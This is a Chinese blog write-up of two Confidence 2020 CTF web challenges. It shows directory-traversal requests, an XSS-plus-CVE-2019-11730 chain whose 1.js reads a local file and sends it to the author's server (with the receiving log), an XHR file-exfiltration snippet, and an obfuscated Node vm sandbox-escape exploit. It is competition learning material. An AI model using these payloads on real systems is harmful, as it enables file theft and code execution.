Confidence-2020-Web-Writeup

原创

郁离歌 于 2020-05-08 19:39:17 发布 697 收藏
分类专栏： CTF-WRITE-UP 文章标签： ctf web confidence2020 writeup

本文链接：https://blog.csdn.net/like98k/article/details/106004676

Confidence-2020-Web-Writeup

> [toc]

Cat web

首先是看到可以列几个图片，点一下下拉框是一个无参数?直接带内容的url
http://catweb.zajebistyc.tf/?grey

然后有一个report功能，这个应该是无回显的ssrf了，一般有另外一个xss的点，思路其实比较清晰，如果是xss的话那么那里可以x呢，回到刚刚的链接

看一下html源码，发现有一个接口

```
<html>
 <head>
  <title>My cats</title>
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
 <script>
  function getNewCats(kind) {
   $.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
    if(data.status != 'ok')
    {
     return;
    }
    $('#cats_container').empty();
    cats = data.content;
    cats.forEach(function(cat) {
     var newDiv = document.createElement('div');
     newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
     $('#cats_container').append(newDiv);
    });
   });

  }
  $(document).ready(function() {
   $('#cat_select').change(function() {
    var kind = $(this).val();
    history.pushState({}, '', '?'+kind)
    getNewCats(kind);
   });
   var kind = window.location.search.substring(1);
   if(kind == "")
   {
    kind = 'black';
   }
   getNewCats(kind);
  });
 </script>
 </head>
 <body>
  <select id="cat_select">
   <option value="black">black</option>
   <option value="grey">grey</option>
   <option value="red">red</option>
   <option value="white">white</option>
  </select>
  <div id="cats_container"></div>
  not like sumthing? send it <a href="/report">hier</a>
 </body>
</html>
```

```
curl  http://catweb.zajebistyc.tf/cats?kind=grey
{"status": "ok", "content": ["1554866661126960529.jpg", "lJCNA_JC_400x400.jpg", "1.jpg", "1548178639131425422.jp
g"]}
```

其中content是返回的文件名，而文件名也没有章法，猜测这个是一个列目录的接口。~~以及返回的Content-Type是application/json。根据我以前的理解，这个ct好像不能xss的样子，后来查了一下资料发现也可以x~~

```
curl  http://catweb.zajebistyc.tf/cats?kind=.
{"status": "ok", "content": ["grey", "white", "red", "black"]}
```

果然和猜想的一样，分别按目录存放猫猫的图片。那么就有一个列目录的漏洞。

```
curl  http://catweb.zajebistyc.tf/cats?kind=..
{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]
```

可以看到后端是py...
找了一下 发现flag在/app/templates/flag.txt

```
curl  http://catweb.zajebistyc.tf/cats?kind=../templates
{"status": "ok", "content": ["report.html", "index.html", "flag.txt"]}
```

回到我们的xss，既然目的不是打cookie，而是读文件。之前的index.html下传入的东西会如果满足json格式的话会直接把文件名传输到当前页面

```
<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />
```

而这个页面的ct是text/html，就导致了xss。

先测试一下xss吧

```
http://catweb.zajebistyc.tf/?%22,%20%22content%22:%20[%22\%22%3E%3Cscript%20src=%27http://139.199.203.253/1.js%27%3E%3C/script%3E%22],%20%22status%22:%20%22ok%22,%20%22a%22:%20%22
```

成功xss。

那么我们怎么读文件呢，在index.html的返回包中我们发现了cors。

```
curl  -v http://catweb.zajebistyc.tf/cats?kind=..
> GET /cats?kind=.. HTTP/1.1
> Host: catweb.zajebistyc.tf
> User-Agent: curl/7.46.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 16 Mar 2020 12:57:20 GMT
< Content-Type: application/json
< Content-Length: 101
< Connection: keep-alive
< Set-Cookie: __cfduid=d86f3c9434c360ddb59397a4c6181030a1584363440; expires=Wed, 15-Apr-20 12:57:20 GMT; path=/;
 domain=.zajebistyc.tf; HttpOnly; SameSite=Lax
< Access-Control-Allow-Origin: *
< CF-Cache-Status: DYNAMIC
< Server: cloudflare
< CF-RAY: 574ea3b1ad3a7215-AMS
<
* Connection #0 to host catweb.zajebistyc.tf left intact
{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}
```

如果bot是PhantomJS的话就可以用xhr+file协议读文件，如果是浏览器的话是肯定不让file协议的因为不同源。

根据bot发出来的ua可以发现是firefox 67，

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
```

而在`firefox<68`下有一个CVE-2019-11730，
https://github.com/alidnf/CVE-2019-11730/blob/master/poc.html

https://www.cvedetails.com/cve/CVE-2019-11730/

如果用file协议打开html时，可以无限制跨域。

远程 1.js

```
fetch('file:///app/templates/flag.txt').then(response => response.text()).then((response) => {window.location = 'http://139.199.203.253:7897/?a=' + (btoa(response) || 'No Value')});
```

在report页面发送

```
file:///app/templates/index.html?%22%2C%20%22content%22%3A%20%5B%22%5C%22%3E%3Cscript%20src%3D'http%3A%2F%2F139.199.203.253%3A7897%2F1.js'%3E%3C%2Fscript%3E%22%5D%2C%20%22status%22%3A%20%22ok%22%2C%20%22a%22%3A%20%22
```

去ssrf。

这里有一个问题就是需要使用file协议，因为index.html是静态的文件，所以file协议和http协议请求是没有区别的。

```
python -m SimpleHTTPServer 7897

157.230.22.175 - - [16/Mar/2020 21:10:54] "GET /1.js HTTP/1.1" 200 -
157.230.22.175 - - [16/Mar/2020 21:10:55] "GET /?a=cDR7Y2FuX2lfaGF6X2FfcGllY2Vfb2ZfZmxhZ19wbGl6P30K HTTP/1.1" 200 -
157.230.22.175 - - [16/Mar/2020 21:10:56] code 404, message File not found
157.230.22.175 - - [16/Mar/2020 21:10:56] "GET /favicon.ico HTTP/1.1" 404 -
```

解密flag是p4{can_i_haz_a_piece_of_flag_pliz?}

基于xhr的本地文件读取

以前一直以为直接用js是无法获取到本地文件信息的，但是没了解到同源的情况下也是可以通过 xhr 去用 file协议读取本地文件信息的。参考 https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ 这篇文章。

```
<script>function reqListener () { var encoded = encodeURI(this.responseText); location.href="http://xss_platform?data="+encoded;}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "file:///var/www/html/flag.php");oReq.send();</script>
```

Temple JS

题目

```
const express = require("express")
const fs = require("fs")
const vm = require("vm")
const watchdog = require("./watchdog");

global.flag = fs.readFileSync("flag").toString()
const source = fs.readFileSync(__filename).toString()
const help = "There is no help on the way."

const app = express()
const port = 3000

app.use(express.json())
app.use('/', express.static('public'))

app.post('/repl', (req, res) => {
    let sandbox = vm.createContext({par: (v => `(${v})`), source, help})
    let validInput = /^[a-zA-Z0-9 ${}`]+$/g

    let command = req.body['cmd']

    console.log(`${req.ip}> ${command}`)

    let response;

    try {
        if(validInput.test(command))
        {
            let watch = watchdog.schedule()
            try {
                response = vm.runInContext(command, sandbox, {
                    timeout: 300,
                    displayErrors: false
                });
            } finally {
                watchdog.stop(watch)
            }
        } else
            throw new Error("Invalid input.")
    } catch(ex)
    {
        response = ex.toString()
    }

    console.log(`${req.ip}< ${response}`)
    res.send(JSON.stringify({"response": response}))
})

console.log(`Listening on :${port}...`)
app.listen(port, '0.0.0.0')
```

exp

```
Function`a${Function`a${`return String${Function`a${`with ${`${par`help`}`} return charAt${par`27`}`}```}fromCha
rCode${par`116${1}104${1}114${1}111${1}119${1}32${1}110${1}101${1}119${1}32${1}80${1}114${1}111${1}120${1}121${1
}40${1}123${1}125${1}44${1}32${1}123${1}10${1}32${1}32${1}103${1}101${1}116${1}58${1}32${1}102${1}117${1}110${1}
99${1}116${1}105${1}111${1}110${1}40${1}109${1}101${1}44${1}32${1}107${1}101${1}121${1}41${1}32${1}123${1}10${1}
32${1}32${1}32${1}32${1}99${1}111${1}110${1}115${1}116${1}32${1}99${1}99${1}32${1}61${1}32${1}97${1}114${1}103${
1}117${1}109${1}101${1}110${1}116${1}115${1}46${1}99${1}97${1}108${1}108${1}101${1}101${1}46${1}99${1}97${1}108$
{1}108${1}101${1}114${1}59${1}10${1}32${1}32${1}32${1}32${1}105${1}102${1}32${1}40${1}99${1}99${1}32${1}33${1}61
${1}32${1}110${1}117${1}108${1}108${1}41${1}32${1}123${1}10${1}32${1}32${1}32${1}32${1}32${1}32${1}118${1}97${1}
114${1}32${1}114${1}101${1}115${1}32${1}61${1}32${1}40${1}99${1}99${1}46${1}99${1}111${1}110${1}115${1}116${1}11
4${1}117${1}99${1}116${1}111${1}114${1}46${1}99${1}111${1}110${1}115${1}116${1}114${1}117${1}99${1}116${1}111${1
}114${1}40${1}39${1}114${1}101${1}116${1}117${1}114${1}110${1}32${1}102${1}108${1}97${1}103${1}39${1}41${1}41${1
}40${1}41${1}59${1}10${1}32${1}32${1}32${1}32${1}125${1}10${1}32${1}32${1}32${1}32${1}114${1}101${1}116${1}117${
1}114${1}110${1}32${1}102${1}117${1}110${1}99${1}116${1}105${1}111${1}110${1}32${1}40${1}41${1}32${1}123${1}32${
1}114${1}101${1}116${1}117${1}114${1}110${1}32${1}114${1}101${1}115${1}59${1}32${1}125${1}59${1}10${1}32${1}32${
1}125${1}10${1}125${1}41`}`}```}```
```